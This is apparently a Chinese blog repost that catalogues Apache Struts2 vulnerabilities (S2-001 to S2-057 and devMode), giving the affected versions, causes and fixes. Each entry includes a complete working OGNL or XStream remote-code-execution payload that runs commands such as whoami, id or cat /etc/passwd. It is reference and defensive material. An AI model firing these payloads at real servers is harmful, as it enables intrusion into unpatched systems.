Strus2 系列漏洞

news2024/10/7 8:24:52

目录

1、S2-001

2、S2-005

3、S2-007

4、S2-008

5、S2-009

6、S2-012

7、S2-013/S2-014

8、S2-015

9、S2-016

10、S2-019

11、s2-032

12、S2-045

13、S2-048

14、S2-052

15、S2-053

16、S2-057

17、S2-devMode


Strusts 中使用 OGNL 为表达式语言。OGNL(Object Graphic Navigation Language)  对象图导航语言,通过简单语句可以任意读取对象的属性或调用对象的方法,遍历整个对象的结构图,实现对象属性类型的转换等功能。Struts2 的标签库都是使用 OGNL 表达式来访问 ActionContext 中的对象数据。

1、S2-001

影响版本:Struts 2.0.0 - 2.0.8

漏洞成因:

用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式 %{value} 进行解析,之后重新填充到对应的表单数据中。当用户提交的数据包含恶意代码时,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,紧接的执行了递归化查询数据,直接造成命令执行。

用户输入的表单内容,其参数会传递到  struts2-core-2.0.8.jar!\org\apache\struts2\components\UIBean.class 的 evaluateParams() 函数,参数本身会被经过一次处理为 %{password},之后进入 xwork-2.0.3-sources.jar!\com\opensymphony\xwork2\util\TextParseUtil.java 的 translateVariables() 函数,通过 while 被循环递归解析。

poc:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"command"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞修复:

将 struts2 的关闭默认自动的进行表达式的安全解析 altsyntax 功能,使用其他方式进行递归化的查询,杜绝解析恶意参数。

2、S2-005

影响版本:Struts 2.0.0-2.1.8.1

漏洞成因:

  • s2-005 漏洞的起源源于 S2-003 (受影响版本: 低于 Struts 2.0.12),
  • struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为 java 代码)。
  • OGNL 表达式通过 # 来访问struts的对象,
  • struts 框架通过过滤 # 字符防止安全问题
  • 通过 unicode 编码 (\u0023) 或 8 进制 (\43) 即绕过了安全限制,
  • 对于 S2-003 漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开。

用户传入的参数,在 xwork-core-2.1.6.jar!\com\opensymphony\xwork2\interceptor\ParametersInterceptor.class 通过 getValueStack() 函数被获取,之后被传入 setParameters() 函数。在被解析之前,参数通过正则[[\p{Graph}\s]&&[^,#:=]]* 匹配过滤掉一些特殊字符,但使用 unicode 来代替 # 即可绕过。

exp:

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

漏洞修复:

将 apache 系统参数值 denyMethodExecution 设置为关闭,然后将参数的拦截过滤系统进行了升级,更为严格的一个正则表达式过滤。

3、S2-007

影响版本:Struts 2.0.0 - 2.2.3

漏洞成因:
在 S2 中,用户可以设置表单每个字段的规则验证,如果类型转换错误时,就会进行错误的字符串拼接,通过闭合引号导致 ognl 的语法解析。

后端从 entry.getValue() 获取到输入的参数,当运算出现错误的时候,会发起强制类型转换,之后进入函数 getOverrideExpr。在函数 getOverrideExpr 中,传入的参数会在两边拼接单引号,使得参数可以逃逸字符串的包裹,进而被解析并导致代码执行。

转换过程:

'+(#application)+'
=>
''+(#application)+''

exp:

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27

漏洞修复:

官方在 Struts2.2.3.1 中修复了这个漏洞,原理是引入了 StringEscape 函数转义单引号,使参数无法逃逸单引号的包裹。


4、S2-008

影响版本:Struts 2.1.0 – 2.3.1

漏洞成因:

S2-008 涉及多个漏洞,主要原因是后端对传入参数没有严格限制,导致多个地方可以执行恶意代码。

1)第一种情是 S2-007,在异常处理时的 OGNL 执行;

2)第二种的 cookie 的方式,虽然在 struts2 没有对恶意代码进行限制,但是 java 的 webserver(Tomcat),对 cookie 的名称有较多限制,在传入 struts2 之前就被处理;

3)第三种需要开启 devModedebug 模式。

4)漏洞利用(第4种):

在struts.xml中配置了如下xml语句,开启debug模式:

<constant name="struts.devMode" value="true" />

传入payload:

?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29

漏洞修复:

增加对cookie的校验,关闭debug模式。


5、S2-009

影响版本:Struts 2.1.0 - 2.3.1.1

漏洞成因:

1)OGNL 提供了广泛的表达式 evaluate() 等功能。用户可以绕过 ParametersInterceptor 内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步 evaluate()。

 2)ParametersInterceptor 中的正则表达式将 top ['foo'](0) 作为有效的表达式匹配,OGNL 将其作为  (top ['foo'])(0)  处理,并将 “foo” 操作参数的值作为 OGNL 表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何 String 变量中,并将其 evaluate() 为 OGNL 表达式,

3)由于 OGNL 语句在 HTTP 参数中,攻击者可以使用黑名单字符(例如)禁用方法执行并执行任意方法,绕过 ParametersInterceptor 和 OGNL 库保护。

payload:

(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

漏洞修复:

官方在参数拦截器中,将接受参数的正则进行了升级

private String acceptedParamNames = "[a-zA-Z0-9\.\]\[\(\)_']+";
=>
private String acceptedParamNames = "\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['\w+'\])|(\('\w+'\)))*";


6、S2-012

影响版本:Struts 2.1.0-2.3.13

漏洞成因:

主要原因为配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量。当触发 redirect 类型返回时,Struts2 会使用 ${name} 获取 UserAction 中 name 变量的值,在此过程中会对 name 参数的值执行 OGNL 表达式解析,因此可以插入任意 OGNL 表达式导致命令执行。

exp:

name=%25%7B#a=
(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22cat%22,%20%22/etc/passwd%22%7D)).redirectErrorStream(true).start(),#b=#a.

漏洞修复:

官方在struts2.3.14.1中设置了默认拒绝恶意OGNL表达式

7、S2-013/S2-014

影响版本:Struts 2.0.0-2.3.14

漏洞成因:
Apache Struts2的 s:a 和 s:url 标签中都有一个 includeParams 属性,可以设置成如下值

  1. none - URL 中不包含任何参数(默认)
  2. get - 仅包含URL中的GET参数
  3. all - 在URL中包含GET和POST参数

当 URL 中带有参数的时候,Struts2 会二次处理 URL,若参数中包含恶意的 Ognl 语句,则会按照Ognl 语法解析。

exp:

a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()

漏洞修复:

官方修复 S2-013 是通过限制 %{(#exp)} 来阻止执行的,于是导致了 S2-014 的诞生。之后官方使用了 encode 函数来代替 translateAndEncode,在函数中去除了其他的处理,只保留了 urlencode功能。

8、S2-015

影响版本:Struts 2.0.0 - 2.3.14.2

漏洞成因:

当一个请求与任何其他定义的操作不匹配,它将被匹配 *,同时所请求的操作名称将用于以操作名称加载 JSP 文件。并且,作为 OGNL 表达式的威胁值,使用 { } 可以在服务器端执行任意的 Java代码。因此这个漏洞是两个问题的组合:

  1. 请求的操作名称未被转义或再次检查白名单
  2. 在 TextParseUtil.translateVariables 使用组合 $% 开放字符时对 OGNL 表达式进行双重评估。

exp:

http://localhost:8080/S2-015/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@java.lang.Runtime@getRuntime().exec('calc')}.action

漏洞修复:

官方限制了如下正则匹配的字符:

[a-z]*[A-Z]*[0-9]*[.\-_!/]*

9、S2-016

影响版本:Struts 2.0.0 – 2.3.15

漏洞成因:

DefaultActionMapper 类支持以 "action:"、"redirect:"、"redirectAction:" 作为导航或是重定向前缀,但这些前缀后面同时可以接 OGNL 表达式,由于 struts2 没有对这些前缀做过滤,导致利用OGNL 表达式调用 java 静态方法执行任意系统命令。

exp:

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

漏洞修复:

替换如下jar包:

commons-lang3-3.2.jar
freemarker-2.3.22.jar
javassist-3.11.0.GA.jar
ognl-3.0.6.jar
struts2-core-2.3.24.jar
struts2-spring-plugin-2.3.24.jar
xwork-core-2.3.24.jar

10、S2-019

影响版本:Struts 2.0.0 - 2.3.15.1

漏洞成因:

当开启了 debug 模式,且传递了 debug 参数,在 DebuggingInterceptor 中的 intercept 函数中,会从 debug 参数获取调试模式,如果模式为 command,则将
expression 参数放到 stack.findValue 中,而最终参数会被传到 ognl.getValue 中,导致命令执行。

exp:

?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()

漏洞修复:

关闭debug模式,以及Apache Struts 2的Dynamic Method Invocation。

11、s2-032

漏洞成因:

当在struts2配置文件中开启动态方法引用功能:

<constant name="struts.enable.DynamicMethodInvocation" value="true" />

请求 http://website/index.action?method:OGNL 时,请求的 OGNL 表达式会被执行,造成命令执行。

过程:

参数会经过处理存入到 ActionMapping 的 method 属性中。DefaultActionProxyFactory 将ActionMappping 的 method 属性设置到 ActionProxy 中的 method 属性。而DefaultActionInvocation.java 中会把 ActionProxy 中的 method 属性取出来放入到ognlUtil.getValue(methodName + "()", getStack().getContext(), action); 方法中执行ognl表达式
exp:
 

?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

漏洞修复:

关闭动态方法引用功能。官方也对 DefaultActionMapper 的类进行了安全检测。

12、S2-045

影响版本:Struts2.3.5 – 2.3.31、Struts2.5 – 2.5.10

漏洞成因:

Struts2 的 Jakarta 插件默认解析上传文件的 Content-Type 头,在解析错误的情况下,会执行错误信息中的 OGNL 代码。恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。

exp:

Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

漏洞修复:

官方补丁:去掉了触发漏洞的值到对象转换的类 LocalizedTextUtil 中的 findText() 方法

13、S2-048

影响版本:Apache Struts 2.3.x 系列中启用了 struts2-struts1-plugin 插件的版本

漏洞成因:

在 Struts 2.3.x 版本上,实现 Action 兼容的 Showcase 插件 ActionMessage 类中,客户传输的可控的参数数据,被不正确地拼接处理,导致命令执行。
struts2-struts1-plugin 包中 Struts1Action.java 中 execute 函数调用了会执行 ognl 表达式的 getText 函数,传入恶意代码时即可被 ognl 解析,造成 rce。

exp:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

漏洞修复:

避免使用 Apache struts2-struts1-plugin 这个插件。非必要的情况下可以将 Apache struts2-struts1-plugin-2.3.x.jar 文件从 “/WEB-INF/lib” 目录中直接删除。如果使用该插件时避免使用拼接的方式将原始消息直接传递给 ActionMessage。

14、S2-052

影响版本:Struts 2.1.2 - Struts 2.3.33、Struts 2.5 - Struts 2.5.12

原理:Struts2 REST 插件的 XStream 组件存在反序列化漏洞,使用 XStream 组件对 XML 格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可被远程攻击。

exp:

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
<string>touch</string>
<string>/tmp/test.txt</string>
                       </command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next>foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
   <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
</map>

漏洞修复:

在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:
 

<constant name="struts.action.extension" value="xhtml,json" />

15、S2-053

影响版本:Struts 2.0.1-2.3.33、Struts 2.5-2.5.10

漏洞成因:

Struts2 在使用 Freemarker 模板引擎的时候,同时允许解析 OGNL 表达式。导致用户输入的数据本身不会被 OGNL 解析,但由于被 Freemarker 解析一次后变成 ognl 表达式,之后会被 OGNL 解析第二次,导致任意命令执行漏洞。

当在 Freemarker 标签中使用如下代码时,Freemarker 会将值当做表达式进行执行。

<@s.hidden name="redirectUri" value=redirectUri /><@s.hidden name="redirectUri" value="${redirectUri}" />

exp:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

漏洞修复:

官方将 excludedPackageNames 设为了 UnmodifiableSet 类型的对象,在这个对象上调用 clear() 方法,就会抛出 java.lang.UnsupportedOperationException 类型的异常,程序进入异常处理分支,避免了后续恶意代码的执行。

16、S2-057

影响版本:Struts 2.3–2.3.34、Struts2.5–2.5.16

漏洞成因:

当 struts.mapper.alwaysSelectFullNamespace 设置为 true,并且 package 标签页以及 result 的param 标签页的 namespace 值的缺失,或使用了通配符时可造
成 namespace 被控制,最终namespace会被带入 OGNL 语句执行,从而产生远程代码执行漏洞。

exp:

/index/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

漏洞修复:

1)升级至受该漏洞影响的版本

2)修改配置文件:

固定 package 标签页以及 result 的 param 标签页的 namespace 值,以及禁止使用通配符。

17、S2-devMode


影响版本:当 Struts 开启 devMode 时,该漏洞将影响 Struts 2.1.0–2.5.1,通杀 Struts2 所有版本。

漏洞成因:

devMode模式,是为 Struts2 开发人员调试程序准备的,在此模式下可以方便地查看日志等信息。默认情况下,devMode 模式是关闭的,但不少网站上线时依
然开启了此模式。

当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

exp:

debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id

漏洞修复:

关闭devMode模式,在struts.xml 设置:

<constant name="struts.devMode" value="false" />

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1217236.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenAI 开发者大会2023 解读

概述 宏观上还是分成两点&#xff1a;新的底层模型GPT-4 Turbo、新的应用生态GPTs。其余的名词都是服务于上面两个&#xff0c;很多名词是面向开发者的&#xff08;非普通用户&#xff0c;主要是在页面上使用&#xff09;容易导致混淆&#xff0c;比如什么JSON 格式、函数调…

使用uniapp写小程序,真机调试的时候不显示log

项目场景&#xff1a; 当小程序文件太大的情况下使用真机调试&#xff0c;但是真机调试的调试器没有任何反应 问题描述 使用uniapp写小程序&#xff0c;真机调试的时候不显示log 原因分析&#xff1a; 提示&#xff1a;因为真机调试的时候没有压缩文件&#xff0c;所以调试的…

EtherCAT从站EEPROM分类附加信息详解:SM(同步管理器)

0 工具准备 1.EtherCAT从站EEPROM数据&#xff08;本文使用DE3E-556步进电机驱动器&#xff09;1 分类附加信息——SM&#xff08;同步管理器&#xff09; 1.1 分类附加信息规范 在EEPROM字64开始的区域存储的是分类附加信息&#xff0c;这里存储了包括设备信息、SM配置、FM…

有向无权图的最短路径

在运筹学领域的经典模型中&#xff0c;最大流问题、多商品网络流问题和最短路径问题等都依附在图上对问题进行描述&#xff0c;同样&#xff0c;当我们梳理问题的数学模型&#xff0c;或理解相关问题的求解算法时&#xff0c;也要依靠它。因此&#xff0c;我将总结和图相关的问…

Android NDK JNI 开发native层崩溃日志栈分析

问题&#xff1a; 在Android的JNI开发中&#xff0c;你是否看到如下一堆崩溃日志&#xff0c;不知如何下手分析问题&#xff0c;崩溃在哪一行&#xff1f; 11-16 17:20:44.844 23077 23077 W test_jni_h: jni_preload: Starting for processln 11-16 17:20:44.844 23077 2307…

AWD比赛中的一些防护思路技巧

## 思路1&#xff1a; 1、改服务器密码 &#xff08;1&#xff09;linux&#xff1a;passwd &#xff08;2&#xff09;如果是root删除可登录用户&#xff1a;cat /etc/passwd | grep bash userdel -r 用户名 &#xff08;3&#xff09;mysql&#xff1a;update mysql.user set…

基于SpringBoot+Vue的二手物品交易平台

基于SpringBootVue的二手物品交易平台的设计与实现~ 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBootMyBatisVue工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 主页 详情 管理员界面 摘要 本项目是基于Spring Boot 和 Vue 技术栈构建…

latex简单使用

​​文章目录 公式详解 普通公式公式居中带标号公式上标下标根号分式括号运算符列表 无序列表有序列表插入图片 单图多图排版表格脚注与定理子标题目录与附录 目录附录参考文献字体设置 字体样式 加粗斜体字母大写等线自定义字体字体大小 第一种设置第二种设置第三种设置 页面…

系列六、JVM的内存结构【栈】

一、产生背景 由于跨平台性的设计&#xff0c;Java的指令都是根据栈来设计的&#xff0c;不同平台的CPU架构不同&#xff0c;所以不能设计为基于寄存器的。 二、概述 栈也叫栈内存&#xff0c;主管Java程序的运行&#xff0c;是在线程创建时创建&#xff0c;线程销毁时销毁&…

【PyQt小知识 - 4】:QGroupBox分组框控件 - 边框和标题设置

QGroupBox QGroupBox 是 PyQt 中的一个小部件&#xff0c;用于创建一个带有标题的组框。 可以使用 QGroupBox 将相关控件分组并添加一个标题。 以下是一个使用 QGroupBox 的示例代码&#xff08;示例一&#xff09;&#xff1a; from PyQt5.QtWidgets import * import sysa…

ERP管理系统:企业升级的秘密武器

ERP管理系统&#xff1a;企业升级的秘密武器 在当今快速发展的商业环境中&#xff0c;企业要想保持竞争力&#xff0c;就必须不断进行自我升级。而在这个过程中&#xff0c;ERP管理系统以其强大的功能和优化流程的能力&#xff0c;逐渐成为了企业升级的秘密武器。 一、ERP管理…

Unity开发之C#基础-异常处理(Try Catch)

前言 其实本来这章应该将栈和队列的 但是后来想想 栈和队列在实际应用很少跟多的是大家了解一下栈和队列的基本常识比如先进先出的是谁后进先出的是谁这种 csdn有很多介绍栈和队列的文章 我觉得都比我理解深刻所以大家可以去搜索参照一下 今天我们继续往下讲解 如何自己主动的…

【Java 进阶篇】JQuery 遍历 —— For 循环的奇妙之旅

在前端开发的世界里&#xff0c;遍历是一个常见而重要的操作。它让我们能够浏览并操纵文档中的元素&#xff0c;为用户提供更加丰富和交互性的体验。而在 JQuery 中&#xff0c;遍历的方式多种多样&#xff0c;其中 for 循环是一种简单而灵活的选择。在本篇博客中&#xff0c;我…

11-Vue基础之组件通信(二)

个人名片&#xff1a; &#x1f60a;作者简介&#xff1a;一名大二在校生 &#x1f921; 个人主页&#xff1a;坠入暮云间x &#x1f43c;座右铭&#xff1a;懒惰受到的惩罚不仅仅是自己的失败&#xff0c;还有别人的成功。 &#x1f385;**学习目标: 坚持每一次的学习打卡 文章…

Freeswitch中mod_commonds

mod_commands Table of Contents (click to expand) 0. About1. Usage 1.1 CLI1.2 API/Event Interfaces1.3 Scripting Interfaces1.4 From the Dialplan2. Format of returned data3. Core Commands 3.1 acl  3.1.1 Syntax3.1.2 Examples3.2 alias 3.2.1 Syntax3.2.2…

作为HR是看重学历还是工作经验?

作为HR是看重学历还是工作经验&#xff1f; 这个没有绝对的统一的看法&#xff0c;如果我是HR我更看重工作经验&#xff0c;如果是中小企业&#xff0c;对于人才嘛&#xff0c;那肯定是要到岗就能干活的&#xff0c;底子好不好先不说&#xff0c;关键是要能干活的。 不过近些…

【算法基础】分解质因数

文章目录 什么是分解质因数具体案例输入格式输出格式数据范围 原理讲解原始方法转换思路利用试除法判定质数的思路为什么不需要单独判断是否为质数 什么是分解质因数 分解质因数是指将一个合数用质因数相乘的形式表示出来&#xff0c;即将一个合数分解为若干个质数的乘积。其中…

人工智能如何重塑体验为先的汽车行业

面向汽车行业用户体验的 AI 人工智能的影响力继续在各个主要行业中迅速蔓延&#xff0c;全球各地的公司都开始大力投资 AI 技术&#xff0c;以提高自身的竞争优势。未来的趋势表明&#xff0c;企业如果不立即采用人工智能战略&#xff0c;就可能会远远落后于竞争对手。 AI 和…

es head 新增字段、修改字段、批量修改字段、删除字段、删除数据、批量删除数据

目录 一、新增字段 二、修改字段值 三、批量修改字段值 ​四、删除字段 五、删除数据/文档 六、批量删除数据/文档 一、新增字段 put http://{ip}:{port}/{index}/_mapping/{type} 其中&#xff0c;index是es索引、type是类型 数据&#xff1a; {"_doc"…

一阶滤波器(一阶巴特沃斯滤波器)

连续传递函数G(s) 离散传递函数G(z) 转换为差分方程形式 一阶巴特沃斯滤波器Filter Designer参数设计&#xff1a;参考之前的博客Matlab的Filter Designer工具设计二阶低通滤波器 设计采样频率100Hz&#xff0c;截止频率20Hz。 注意&#xff1a;设计参数使用在离散系统中&…